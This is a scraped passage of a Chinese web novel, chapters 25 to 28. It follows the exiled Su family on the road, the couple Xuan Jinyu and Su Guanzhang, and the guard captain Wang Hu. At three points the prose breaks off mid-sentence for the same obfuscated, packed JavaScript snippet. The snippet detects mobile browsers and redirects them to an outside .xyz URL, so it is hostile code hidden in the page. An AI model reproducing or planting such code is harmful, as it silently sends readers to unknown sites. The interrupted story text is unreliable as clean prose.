慕哥儿最先看到了,于是蹦蹦跳跳地跑到了她身旁来,大方地让她捏脸。 “小婶婶,给你捏。伯祖父刚才要捏我都不给。”他仰着一张小脸,笑得得意。 隔了两座帐子,苏声听见侄孙的声音,不禁失笑。 一帐之隔,许玉娘也在对婆母嗔道:“整日里就爱捏慕哥儿的小脸,真没有个长辈样儿。” 还好慕哥儿没有常如他意给他捏脸,不然孩子日后流口水了可怎么办。 孩子们玩儿累了,被自家娘亲叫了回去。 很快,帐子又传来笑声。 “呀!哪里来的小花猫儿,水都洗脏了。”丁茜茜笑,刮了刮慕哥儿的鼻子。就他最脏,脸上草汁一道一道的,身上的衣裳也都不能看了。 “亏你小婶婶对着你方才脏兮兮的脸蛋都下得了手。”她手脚麻利地给孩子换了一身衣裳。 下午他们不是在赶路,就是在忙着做饭,直到这时才有心思管一管在草丛里钻了一下午,而邋遢不少的孩子们。 孩子们的小衣裳被仔细搓洗干净,而后被齐齐挂在了帐子上端的绳子上。夜里天微凉,但空气是干燥的,第二日便能干了收起来。 25. 第 25 章 一夜无话。 翌日天明时,帐子里陆陆续续传出了动静。 昨日一行人中也就公爹苏声和苏琯璋穿了一身劲装,行动最是便宜。 今日不仅是他们二人,祖母苏老夫人、婆母许玉娘、苏二婶和三位嫂嫂,就连七个孩子也都换上了轻便的劲装。 除了还未到习武年龄的慕哥儿,一家子都是练家子,此时齐齐换上了劲装,英姿飒爽的模样惹得宣槿妤羡慕地多看了几眼。 便是矮胖团儿慕哥儿,穿着劲装也似模似样的,像个小武童子,就是胖了一点儿。 宣槿妤又打量起自己的着装来。 今日苏家一行人中只有她是一身常服,简单的上衫搭配襦裙,好看是好看不少,但却比他们多了几分束缚。 “你怀着身子,衣裳还是得以舒适为主。”苏琯璋对她说道,已经看出了她的心思。 而且,若是路难行,还有他背着或抱着她,并不需要她穿多简练干劲的衣裳。再说,劲装多有束缚,怕是会勒着她和孩子。 提到孩子,宣槿妤心里的一丝遗憾便也很快消退。等到早食端上来,她便将这件事抛之脑后。 简单用过早食,王虎便来催上路了。 昨日才走了二里路,依着这群人的脚程,他很是担心今日还得露宿荒野。怕今日没有昨夜的好运气,能在天黑之前找到一个废庙容身。 差事不好做。 王虎再次在心里感慨。 宣槿妤瞧着他一脸苦大仇深的模样,对比他昨日张扬硬气的冷脸,心里舒爽几分。 简直像是出了一口恶气。 她没再去看王虎,很快便被慕哥儿吸引了全部的目光。 慕哥儿走在后头,牵着他大哥哥启哥儿的衣摆,两条小短腿不断倒腾着,努力走上十几步,却才走了身后禁军轻轻松松几步的路程。 照慕哥儿这样走下去,那位王千户的脸怕是又要黑了。 想到这里,宣槿妤又想起昨日苏琯璋告诉她的三人间的对话。 “王千户若是不愿意随我等上路,可自行回京。陛下宽宏,想必不会过多为难。这差事不过是换一个人来办而已,算不得什么。” 她想象着清清冷冷、眼神清淡的苏琯璋在说这话时的神情,定是一本正经又兼顾君子之风,即便说着违心的恭维话也没人看得出来。 但实在好笑,宣槿妤昨夜问他说出那句“陛下宽宏”的话,心里虚不虚?这人怎么回答她的? “陛下确是宽宏,不然也难以解释一国之君为何会犯下写错圣旨这样的疏漏来。” 她当时难以置信地看着这人,木头似的人居然也会说这样怪腔怪调的话。 苏琯璋在她额上亲了亲,笑着揽住她,在她耳边轻声道:“放心,他不敢再下圣旨追责苏国公府。一开始是怕朝野嘲笑,现在,这一路都是眼睛;他要体现他的明君风范,更是不会打自己的脸。” 何况,如今漠北战事未定,苏家军和漠北大军胶着之余,仍在坚持找寻二叔的踪迹。 盛誉想必也看出来了,苏家人在,苏家军便也安稳,漠北也才会安稳。这是一个平衡,他不敢轻易打破,至少在有人取代苏家人之前不敢打破。 费尽心思才得到的皇位,他比谁都不希望出现变故。 这些话,苏琯璋只在心里过了一遍,没有说出口。 “你知道了什么?”宣槿妤想着他说的“这一路都是眼睛”,有人跟着他们?她什么也没看出来。 苏琯璋轻描淡写,“昨日从我们出城便开始跟着了,不过他们没有恶意,便随他们跟着。” “那两位带队的知道吗?”宣槿妤十分好奇,压下了那一丝知道被人暗中窥视的不自在。 像现在这样,他们边散步边说话,别人也在暗中盯着? “大抵是知道的。”苏琯璋贴着她的耳朵,温热的鼻息喷在她颈侧与耳道,痒得她忍不住要躲,却被他紧紧箍着腰肢,动弹不得。 “外祖父和父亲也派了人来,我昨日去林子里时他们现身和我见了一面。” 宣槿妤忘了挣扎,“果真?”她有些惊喜。 外祖父和父亲既派了人来,又不想惊动龙椅上那位,想必派的是府中暗卫。说不定还是她眼熟的那几位。 还未到余安府见到三哥哥,但她已经找到可以替她撑腰的人了。 宣槿妤愉悦地想着,又想起她计划报复这臭男人的事来。 今夜?但她现在心情很好,暂且饶了他罢! “真的,但暗中的人太多,过了这片林子,没有了遮挡,他们便应当不会再跟我见面了。”苏琯璋不知道妻子在想什么,只面色柔和地回答她。 “咳咳,”苏老夫人走了过来,身后跟着苏声和一群小孩子,“慕哥儿竞走输了,要找小婶婶安慰呢!” 又被人撞见亲昵之事,宣槿妤面色微红,推开苏琯璋,绕到后头安慰小侄子去了。 不多时,苏二婶便来唤人进殿歇息。 昨夜温暖的月色被眼前浓郁的苍绿替代。 “我们今日能走到最近的驿站吗?”宣槿妤问。 她仍是趴在苏琯璋背上,王虎昨日的冷脸和今日的黑脸交织着在她眼前掠过。很快,脑中便只剩下昨夜这男人难得的促狭样。 再想起他阴阳怪气内涵狗皇帝的那些话,宣槿妤险些笑出声来,忙将脸往男人脖间藏了藏。 苏琯璋察觉到背上微微的震动,脸上也露了笑,“出了这片山林,路就好走多了,当是能到的。”他回。 宣槿妤“嗯”了一声,让他专心走路。 眼前的山野翠绿在不断变换着,身前身后偶有朗笑声传来,是不长眼的兔子撞到行路中的人,当了他们无聊路途中难得的消遣。 走走歇歇,时间竟也很快过去。 午膳时,方才的消遣成了美食。 宣槿妤也尝到了烤兔肉,鲜美肥嫩,滋味极佳,惹得她多吃了一点。 再起身时,她便不肯趴在苏琯璋身上了,怕吐出来,实在吃得多了些。 她红着一张脸,坚持要自己走。 “好,我扶着你,小心脚下。”苏琯璋了解她的食量,知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762902|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道她吃撑了,也没笑话她,只答应下来。 今日路虽说没比昨日好走多少,但好歹不会偶尔一踩一个泥坑了。 天晴,路上的积水都被晒干了,他们便只需要小心莫踩进浅坑里便行。 宣槿妤小心谨慎地绕过浅坑,走了约莫一刻钟,肚腹便也好受了不少。 再过得一刻钟,苏琯璋来背她,她便也顺从地趴上了他宽厚的背。府医叮嘱过她,每日走的时间须得控制在半个时辰以内,为着孩子,她也不敢再走了。 半下午时分,他们终于走出了这片绵延的山林。 这一日,他们终于住上了驿站。 终于能好好擦洗一番了。 她还好,其余人都在荒野草丛中踩了一天,身上不是草籽就是草汁,一不留神衣裳还被勾破了,须得好好洗洗,再做下缝补。 流放第三日,苏琯璋的三个哥哥追了上来。 他们是急行军,当日苏二叔失踪的消息一传出来,便被藏于军中的几名禁军压着从漠北出发,一路往燕京城方向疾行。 不过还未至燕京城,便收到陛下旨意,道是苏家人已经被流放,不必入京,直接转道前往广虚府即可。 于是一行人不作停留,从才抵达的佟城一路匆匆追了上来。 孩子们终于见到了几个月不见的父亲,一个个欢喜得不行,黏在父亲身边不愿意离开。 一家子缓过了重逢时的喜悦,便开始叙旧。 此时已经快到晌午时分,陈阳带着官兵们到附近的山里打鱼捕猎去了,很是识趣地将空间留给了一行人。 就连王虎,也带着禁军们退到了远处,捡着柴火,并另寻了一处空地烧火做饭,并不打扰他们。 苏家人分作几处,每个小家都有自己的贴心话要讲。 只苏二婶落寞地跟在苏老夫人身旁,一言不发地替她捏着腿。 苏老夫人将手搭上小儿媳正为她捏腿的手,满脸怜爱地安慰着,“别担心,老二会没事的,他出征前我替他求过签,说是他命大。” 苏二婶停下手中揉按的动作,抬头看婆母。 苏老夫人将她拉到身旁坐下,“你看文小子和武小子,他们多沉得住气。”她指了指苏琯文和苏琯武这对双胞胎兄弟。 苏二婶下意识找寻两个儿子的身影,很快便欣慰地看到他们两家人皆是一副和乐融融的模样。 她轻叹,觉得自己是不如两个儿子,甚至不如两个儿媳妇。 两个儿子,他们的父亲刚失踪,他们便被安上了个“通敌叛国”的罪名,一路被押着回京。 不仅担心杳无踪迹的父亲,还要担心家中被牵连的祖母、母亲和妻儿,这一路可难熬。 而两个儿媳妇,自大伯苏国公接到丈夫出事的传信,想放她们归家,却被拒绝了。 她们舍不得丈夫,更舍不得孩子。硬是陪着他们在刑部死牢里熬了大半个月,如今又随他们流放。这一路都不见她们有什么抱怨,照常照顾着孩子们。 “会好起来的。”苏二婶紧紧握住婆母的手,目光逐渐变得坚毅。 26. 第 26 章 大房这边。 苏声、许玉娘只对坐着,含笑看着长子苏琯煜一家团聚。 苏琯煜不负他苏国公府世子的身份,自幼性子便沉稳有度。但他和弟弟苏琯璋不同,他很爱笑,又兼容颜俊美,在漠北百姓中有着“玉面将军”的雅称。 这大半个月的急行军,一路奔波并未折损他的容颜。 此时许萱娘正看着小半年未见的表兄夫君。便是成亲将将十年,她仍是轻易地被他吸引,忍不住耳垂微红,脸上的笑也一直没下来过。 不过,自最初苏琯煜追上他们之后给她的一个拥抱之外,她也还未能沾得他的身,只跪坐在他对面,看着他哄孩子。 苏琯煜也只是匆匆从妻子面上掠过,还未解得相思之苦,便被孩子们一声声的“爹爹看我”缠住了。 毕竟启哥儿和彤姐儿两个孩子再是乖巧懂事,也不过是才几岁大的孩子,在父亲面前自是维持不住早前的沉稳样儿。 此时两个孩子,一左一右占了父亲的怀抱,两双充满思念和依赖的眸子看着他,让视线偶尔飘过去的宣槿妤不禁抚上自己的小腹。 她很快也要有自己的孩子了。 苏琯璋留意到她的视线,“三位兄长来了,往后嫂嫂们照顾孩子们也会轻松许多。” 孩子们脚程慢,也容易累。 虽说他们精力旺盛,玩闹起来时能将一个普通成年男子心神尽数消磨殆尽。但他们毕竟年纪还小比不得成人,一旦累了便再提不起精神来。 他需要一直照看有孕的宣槿妤无暇顾及孩子们,母亲和二婶又要时刻留意着祖母,只父亲偶尔会给三位嫂嫂搭把手。 但七个孩子,只四个大人看着,也是顾及不来。 这两日他见着孩子们,尤其最小的慕哥儿、龙凤胎桓哥儿与雯姐儿都累得不轻,晚间等不及用晚膳便睡着了。 可让大人们心疼得不行。 宣槿妤不禁想起今晨慕哥儿苦着一张小脸,跟她诉说他半夜饿醒找娘亲要吃食的委屈来。 她移开了视线,很快看到此时一脸兴奋地骑在四堂兄苏琯武脖子上的慕哥儿,他嘴里还嚷嚷着让父亲再将他举高一点。 她脸上含了点笑意。 “我们还有多久能走到余安府?”她问苏琯璋。 “照今日的行走速度,还得十余日。”苏琯璋答。 竟还要这么久? 宣槿妤惊讶地瞪大了眼睛。 她记得三哥哥宣文晟曾告诉过她,从城西坐马车出发到余安府,日夜兼程,也不过是一日的路程。 即便他们脚程慢了些,也不至于要走半个月吧? 而且,他们虽是从城南出发的,但需要绕这么远的路么? “陈副尉求稳,并不按照普通百姓日常赶路的方式来让我们行走。”苏琯璋解释道。 他靠近宣槿妤,低声道:“他采用的是大军行军的方式。你看我们这一路都在沿着水源走,前方还有官兵开路放哨。” 他这样显得神秘兮兮的。 这话不能被旁人听见吗?可她没发现有旁人在窥视他们。 还是说,暗中的人跟紧还跑到他们近处来了? 宣槿妤被他弄得紧张兮兮的,身子不由贴近他。 苏琯璋面上仍是一贯的清淡模样,但此时眼里却含了笑。 不过宣槿妤一心留意着四周,并未发现。 然后便听得他继续压低了声音,“至于我们,你就当成辎重车队,走不快是正常的。” 苏琯璋说得十分简单,通俗易懂到对于军事一知半解的宣槿妤一听就懂了。 宣槿妤狐疑地盯着面前的男人,“这有什么不能被旁人听见的吗?” 他们是辎重车队,换个不好听的说法就是他们是整个队伍的拖累,所以才走不快。 这她很是清楚,被当成负累她也没什么不满与不快的,毕竟这是事实。她素来心胸宽阔,且有自知之明,不会为这种事着恼。 苏琯璋微微颔首,和她黑白分明的明亮眸子对上,丝毫不见心虚,“孩子们虽小,但有了自己的判断;尤其启哥儿也已经在学兵法,他们听到了会难过的。” 好哇,在这儿等着她呢! 宣槿妤伸手掐他腰间软肉,“我听到就不会难过了么?” 臭男人! 平日里不会哄她就算了,居然还拿她寻开心。 亏得她轻易地就上了当。 苏琯璋明面上瞧着是清雅君子,但内里是个粗莽武夫,皮糙肉厚的,对腰间这点痛并不放在心上。 但他思及那日宣槿妤恼了之后背对着他的模样,忽地有点慌,但到底不会哄人,只任由她掐着。 憋了许久,见宣槿妤没有松手的迹象,便配合着“嘶”了一声,“槿妤,我错了。” 宣槿妤惊得松开了手。 这男人这几日是见鬼了? 她伸手去探他的额头,“你发烧烧坏脑子了?” 在力气这一道上她是藏了个秘密,但她用了几分力气自己清楚,且她寻常不会展露出那个秘密的。 手下感觉温凉,是被山间凉风吹过后的清爽。 没有发烧。 “说实话,苏琯璋,你这几日是不是撞邪了?”可分明这男人瞧着和往日并无二样,还激不起她的害怕情绪来。 苏琯璋憋了半天才想出来的哄人招数,却被这样质疑。他将宣槿妤的手拉下来,亲了亲,“你不是让我多哄哄你?” 素日里他不知什么时候招惹了她的时候,她便闹着要和离,问原因,说是他不会哄人,是块木头。她不想跟一块木头桩子过日子。 宣槿妤还未来得及为他青天白日里便这样当着家人的面和她亲昵而感到羞赧,便被他直白的话弄得哭笑不得。 心里的一点羞意都没有了,剩下的是恼羞成怒。 顾忌着不远处的家人,宣槿妤压低了声音。她不想当着这么多人的面骂人,显得她像个泼妇。 “谁让你这样哄人了?”宣槿妤指责他,“平日里是块木头,现在是根滑木头。不是你捉弄我,我会生气么?你管这叫哄我?” 她快要气死了。 这臭男人!不开窍还好,她顶多骂他两句。如今算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762903|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开窍么?他开哪门子的窍? “你就是专门来气我的。”她恨恨地又掐了他一把。 他苏琯璋真是她宣槿妤命里最大的克星! 弄巧成拙,这下苏琯璋再不敢想什么招数,也一声不敢吭,只老老实实地任她发泄怒气。 等宣槿妤发泄够了,苏琯璋顾不得自己应该青紫一片的腰际,只替她揉了揉手。 “抱歉,”他认认真真地道歉,“我好像总是在惹你生气。” 他道歉了诶! 宣槿妤心里残余的那一丝丝气便也消散了,虽心里原谅了他,但嘴上是不肯承认的。 “你知道就好。”她说。 嫁了这个人,她平日里藏在良好教养下的鲜活总要被他激出来。 幸得京中一众贵女不知晓她心里的想法,否则定要质疑她的“良好教养”。 苏家出事那日上午,武安侯府宴席上,宣槿妤当着京中一众贵人的面掀桌骂人的事还没过去多久呢! 而且,还说什么“鲜活”,不就是娇纵蛮横么? 打闹过,见宣槿妤消了气,苏琯璋终于正经地给人解释了缘由。 “我并没有在骗你。”苏琯璋说,“陈副尉确实是在按大军行军的方式来带队。”将他们一家人当成“辎重”也并无不可。 他方才除了存了逗她的心思,别的可没有诓骗她,说的句句皆是实话。 宣槿妤娇娇地“哼”了一声,让他继续说。 “我们在走的路线不是常走的官道,且人迹罕至,路上高山密林、土坡河溪皆不少,行走并不易。十余日已经是保守估计的结果。” 这也是为何他说兄长们来了,嫂嫂们会轻松很多的主要原因。 孩子们还小,遇到难行的路怕是走不过去,得要大人抱着或背着过去。 至于马车能不能通行,那便是陈阳和王虎要考虑的事。 时隔两日,宣槿妤终于又有了被流放的实感。 若不听这人说往后路如此难行,就她这几日不是被他背就是被她抱的待遇,除了吃食和夜间留宿简陋了些,她还能当他们是在游山玩水,毕竟她过得比苏琯璋给她淘来的游记上的旅人过得还好。 至于时刻紧跟着他们的兵部官兵们和禁军侍卫们,将他们当成护卫,她心里的抵触便小了很多。 不过,她此时心里还有一个疑惑。 “为何不从城西出发?”宣槿妤问他,“我记得有史书记载,被流放广虚府的人走的是城西往南那条路。” 而不是像现下他们走的这条路,除了偶尔能见到一个简陋的驿站,三日来连个行人、本地百姓都见不着。 “我也只是猜测,跟那道圣旨有关。”苏琯璋这回又压低了声音,只提前攥住宣槿妤双手,不让她再有机会掐自己。 这人说话归说话,怎么还动手动脚的?宣槿妤不乐意了,他若不存心逗弄她,她又不会掐人。 “放手。”她瞪着苏琯璋。 苏琯璋笑,眉目飞扬,素日里玉雕似的人,一笑起来,便好似玉雕活了过来似的。 “不放。”他说。 27. 第 27 章 宣槿妤被他笑得有些脸热,嘟哝着,“不放就不放。” 不想被这男人看出她被他蛊惑了,忙催他,“你还没说完。”她挠了挠他的掌心。 十指紧扣,苏琯璋摩挲着她白皙细嫩的手背,附在她耳边,温热的吐息灼烫了宣槿妤的脸。 “我猜,兵部岳尚书看出了那道圣旨的疏漏。怕陛下恼羞成怒,便提前选了条艰难的路线,如此暴露后好歹也能让他消消火。” “而且,岳尚书是苏家旧部,他这样做也是为了不让新帝猜忌。” 否则,当日在刑部大门,兵部尚书岳丰和刑部尚书梁方方便不会有那样一番对峙与对话。 官场待久了,再是正直无私的人,也或多或少会一点自保之术。 这无关对错,人之常情而已。 而且,他还隐隐有个猜想…… 岳丰既是苏家旧部,若运作得当,在新帝心里,他会不会是执掌苏家军的最好人选? 梁尚书那么及时地入宫,王虎及一众禁军赶在出发前拦住他们,并收走马匹。 这些,都是巧合么? 他在大理寺待了三年,经手的卷宗无数,亲手经办的案件也无数。 直觉与理智都在告诉他,这些有九分的可能不是巧合。剩余的一分,赌的便是岳尚书对他的前上峰有几分敬重;忠君和忠军,哪个在他心里更重要了。 苏琯璋垂眸,视线和宣槿妤对上。 不过这一点,就没必要告诉她了。 “害怕了么?”苏琯璋空着的另一只手抚上她的面颊。 他看得出,此时宣槿妤的面色在微微发白,看着他的目光里带了一丝颤动。 “不怕。” 只是她被家人保护得太好,乍然听闻皇权与朝臣之间的博弈有一点吃惊,就一点点而已。 “如此说来,我们就是他们的棋子么?”她小声地问。 苏琯璋意外她竟能想到这层,又是欣慰又是心疼,她素来不爱动脑子,有事便凭直觉,反正吃亏的不会是她。 想不到才多久,她也能如此快地领悟这些她以前从不会去想的事情。 “是。”苏琯璋没有敷衍她,给了她正面回应,这是以往他不会做的。 他只会像宣家和林家两家人那样,将她护在羽翼之下,让她不必经受风雨,不必成长,他们也能护她一辈子。 他第一次意识到,原来她可能不会想要他们那样做。 “但最差的结果也就是我们现在这样,走一条比正常的流放之路更难走的路。”苏琯璋手仍放在她面上,在她眼睑下方摩挲片刻,将她揽入怀中。 “但别怕,我会一直在你身边。”他保证。 宣槿妤点了点头,不再去想他们身在棋盘,被人当作棋子用来博弈之事。 想也无用。 他们已经在流放之路上,跳出了棋盘,再无人能奈何他们。 她将这些和苏琯璋说了,得到了他在她唇上克制的亲吻,和一句称赞,“不错。” 宣槿妤翘起唇。 “不过,眼下最难的还是你。”苏琯璋心疼道,“你这时候有了身孕,往后还要吃不少苦头。” 他的声音闷闷的,好似还带了一点哽咽。 宣槿妤从他怀里探出头,看他,果真见他眼尾微微泛红,不由怔住。 他甚少在她面前露出这样脆弱的一面。 是在心疼她么? 他心里也是有她的么? “那你要照顾好我。”想着,宣槿妤不禁对面前的男人说道,声音发软。 苏琯璋微微颔首,亲了亲她的额头。 温存片刻。 “我看看你的腰。”宣槿妤终于想起方才这人逗弄她,惹得她掐着他腰际不放的事。 她对自己的气力心中有数,见苏琯璋解了束缚的腰带、微微撩起的衣摆下果真青紫一片,难得的有些心虚,但很快又理直气壮起来。 本就是他惹她生气的,他活该受罚。 她不去想她是因为嫁了他才受的这些流放之苦。她想的是,她还怀着孩子,他身为她的夫君和孩子的父亲,就得照看好她。 “好了,你快收拾好衣服。”宣槿妤催他。 眼下也不是上药的时候,青天白日的,众目睽睽之下,他衣裳不整就算了,可别让人想到她身上。 再说,就这点青紫,过几天就散了,上什么药?! 苏琯璋看着变脸比变戏法还快的妻子,习以为常地笑了笑,“你替我遮着点,别让人看到了。” 这话说的,像是他们夫妻在做什么见不得人的事似的。 宣槿妤脸又热了起来,忙侧过身子,只留给他明媚泛粉的侧脸。 她慌慌张张地朝四周看了一眼,用手作扇,朝脸上扇了几下,企图让脸上的热度快速降下来。 苏琯璋很快将衣裳整理好,“放心,没人看咱们。”方才他只是在逗她而已。 桃色流言伤人,他不会让那些与她沾上关系。 闻言,宣槿妤松了口气,犹不放心地再次扫视一圈,才彻底放下心来。 幸好祖母、公爹婆母、二婶、哥嫂和孩子们都没有朝他们二人看来,远处的官兵和禁卫们也都各忙各的,眼神都不往这个方向瞟一眼。 不然她就丢脸丢到家了。 “都怪你。”她嗔道。 “嗯,都怪我。”苏琯璋答,脸上一贯的清冷不知何时已经散了,取而代之的是不容忽视的温柔。 宣槿妤脸上才要散去的热度再次升了起来,她将脸埋在膝盖上,不让他看到她此时害羞的模样。 “就是怪你。”她小声道,闷在膝上的声音却怎么也掩盖不住其中的欢愉。 - 先前奉了新帝的命隐瞒身份藏在苏家军的五名禁军,此时也正和王虎及一众禁军们在一处捡拾柴火。 五名禁军的头领姓李,名晓明。当时他押送苏琯煜等三名少将军追上浩浩荡荡百余人的流放队伍时,一眼便瞧到了一个熟人。 熟人正是王虎。 王虎当时见到三年未见的李晓明,也呆了一瞬。 他们二人出自同乡,同一批进入禁军的侍卫,同一年升的百户;三年前新帝登基时各奔前程,不想再见时,二人又双双升了千户。 “可真是缘分。”王虎感慨道。 李晓明点了点头。 王虎问他,语气有些犹豫,“那你,是不是要回禁军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762904|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 他现在已经明白了李晓明这三年的去处和处境。 李晓明在苏家军中藏了三年,苏将军失踪时又亮明禁军身份将阵前的三位少将军拿下,定是回不去漠北了。 李晓明苦笑,又点了点头。 王虎只是面相憨厚了些,人却并不憨,反而有些精明。 一起在战场上拼杀出来的兄弟情谊,是最纯粹的感情。一朝阵前反叛,李晓明又抓了苏家军最为尊敬的苏家人,想来军中的情谊也都耗尽了。 他能想象得到李晓明的心结,趁着四下无人,便宽慰他,“你也只是忠于陛下旨意,莫要过多为难自己。” 提到这个,李晓明终于开口。 “你也是。” 王虎沉默。 他领了差事才三日,便已是处处为难。 那日苏琯璋点出他的处境,他也才意识到,他也是行走在悬崖上的人,稍有不慎,便会粉身碎骨。 苏家人至少还有人保。 而他,一旦被苏家人退回京城,或者被暗中的眼睛找到什么把柄,很容易就遭来杀身之祸。 人命,在皇权倾轧之下根本不值得一提。 李晓明也不需要王虎回应,自顾自地说着,“若非三位少将军相护,主动配合我等回京,只怕我也不能站在这儿和你叙旧。” 不然,莫说完成皇命,他只怕不能活着离开漠北。 他想起他当时亮明身份后昔日同袍眼中的惊痛与憎恨,喧哗声中,若非三位少将军阻止,那些曾和他并肩作战的将士们简直要将他活剥了。 “用完饭我就得回京复命了,接下来都交给你了。”李晓明拍了拍王虎的肩,“你也待他们客气些。” 曾经也是同一个屋子睡过来的情谊,李晓明多少了解几分这位旧友的性情。 “他们如今愿意配合受这流刑之苦,并不代表他们没有能力反抗。”李晓明将声音压得极低,“真将他们惹怒了,跑了,你这千户也就做到头了。” 说不定命也都要交代在这里。 战场上走一遭,才会晓得性命有多珍贵。 “你用眼睛去看,苏家有没有罪,不管圣旨上有没有写,你都自己去看。”李晓明说得十分直白,就差没说苏家无罪了。 他在军中三年,是新帝一登基就遣到军中的人。 在苏家军待了这般久,不说平日里在军营里操练的时光,但就和漠北开战的这小半年,他便不会相信苏家会通敌叛国。 王虎被他这样直白的话惊出一身冷汗,忙四处观察一番,见无人窥视才松了口气。 “你好好想想,我先出去了。”李晓明拍了拍他的肩膀,轻轻松松抱着大捆柴火,走了出去。 等王虎平复好心情从密林里钻出来,其余人也忙活得差不多了。 打猎小队还未回来,但捕鱼小队已经提了满满一桶鱼虾,几个人正蹲在河边清洗。 他观察了一番周围,暗处的眼线消匿了踪迹,不知是离远吃饭去了还是换了一拨武功更强不会被他察觉的。 苏家几个少将军都陪着孩子们在玩儿,女眷们也生起了火。 而另一边,王虎视线顿了顿,非礼勿视,很快转过头去。 28. 第 28 章 一个上午没吃东西,宣槿妤早就饿了,苏琯璋正喂她吃着才烤热的包子。 这包子还是他大哥苏琯煜早晨在盛京城外买的,还剩了几个没动;得知弟妹有了身孕,知晓孕妇最是不能挨饿,便都给了他。 “我不吃了。”宣槿妤吃了大半个包子,察觉不到腹中饥饿,便推开苏琯璋的手。 包子是肉馅的,不知是否是昨日吃烤兔肉吃多了,她还不想再吃肉。 就连包子,她吃的也是暄软的包子皮,肉馅只咬了一口,油腻腻的滋味顿时让她泛起恶心来,顿时胃口尽失。 苏琯璋将她没吃完的肉馅塞进嘴里,三两口吞下肚。再打湿了帕子替她擦了脸和手,最后粗粗擦了擦自己沾了些许油的手。 宣槿妤已经没有方才那样好的心思和他玩闹,此时恹恹地靠在他身上,不想说话。 这是怎么了? 苏琯璋摸了摸她的手心,感受到温热的体温,再替她把了回脉,微微放下了心,不是生病了就好。 “可是热着了?”他问。他们虽然尽量走在树荫下,但方才日头有点大,怕是晒着她了。 她都在树荫下坐了多久了?还热? 放平时,宣槿妤就要给他一个白眼。 不过此时她蔫蔫的,只觉着胃里在翻腾,虽没有回答他,但还是冲他摇了摇头。 “害喜了?”他问。 苏琯璋将她斜抱到怀里,替她揉着手上的穴位,不时观察着她的脸色。 山风清爽,不一会儿便带走了方才那个包子的油腻之气,宣槿妤深吸了口气,脸色总算好了一点。 苏琯璋继续轻轻地替她按揉着太阳穴,“如果不舒服,一定跟我说。”他有些心疼,她这样多半是在害喜,但他却没办法替她难受。 “可是被包子肉馅腻着了?”他又问。 宣槿妤这回终于点了头。 “怪我,不该给你吃肉包子。” 苏琯璋有些自责,想起方才她连一个包子都没吃完,定是没饱,于是他又开口。 “待会我给你煮个鱼汤,你多少再吃点,好不好?” 宣槿妤缓了一点,脸色也好了些许,闻言看他,“你还会煮鱼汤?” “大军返程时不急着赶路,有时候经过河流,不想吃烤鱼的时候也会煮个汤。”苏琯璋拿出随身的小罐子,取出一颗酸梅塞进她嘴里。 他虽是少将军,但也只是在战场上指挥打仗的时候会发号司令,其余时候他并不会搞特权。 这种单独的吃食他并不想劳烦火头军,便学着自己动手。 次数多了,火候他已经可以掌握得很好。 宣槿妤嘴里含着酸梅,又被他按揉着身上穴位,那股冲上来的恶心感很快便消失了。 “那我要喝。”她说。 苏琯璋摸了摸她的头。 等到宣槿妤说好了,他又换回手上的穴位,不轻不重地替她按揉了一会儿。 这才起身,“我去煮鱼汤。来,去母亲那里坐会儿,嗯?” 宣槿妤应了,任他半扶半抱地揽着站了起来。 另一头,苏琯煜已经和妻子儿女说完了话。两个孩子也和父亲玩够了,便放他自由。 许萱娘去找两个妯娌一起生火做饭去了,苏琯煜便起身来找父母。 恰这时,苏琯璋带着宣槿妤也来了。 几人简单打过招呼,苏琯璋便朝着嫂嫂们走过去,接过了小半桶鱼,准备熬鱼汤用。 许萱娘、常湄言和丁茜茜三位嫂子盯着小叔子熟练而自然地开锅煎鱼、熬汤的动作,不由得互相挤眉弄眼,偷偷撇开脸笑了。 除了厨子,她们还是第一回见到于庖厨一道上如此熟练的男子,且这男子还是自家小叔子。 “小弟这鱼汤看着不错。”见苏琯璋敏锐地抬眼望过来,许萱娘忙收拾好神情,夸赞道。 常湄言和丁茜茜也连连点头。 “槿妤怀着身子不易,小弟你身为夫君可要多体贴些。”丁茜茜道。 常湄言点头,促狭道:“我这里有好几道家常菜的方子,最是适合有孕的妇人吃的。小弟你要不要学,好做给槿妤吃?” 常湄言嫁了苏家双胞胎中的哥哥苏琯文,自己也生了对龙凤胎,怀孕的时候可艰难。婆母和家中心疼她,特意找来不少合适她的方子,她都记下了。 这事苏琯璋听三哥苏琯文提过一嘴,闻言便颔首,“那就多谢三嫂了。” 三位嫂嫂眉眼皆是一亮。 常湄言忍着笑,“刚好今日有不少新鲜的鱼虾,我来说,小弟你来做。” 苏琯璋被三位嫂子笑得有些不自在,但他面上仍是那副清冷淡然的模样。“如此,便有劳三嫂了。” 丁茜茜:“我来烧火。” 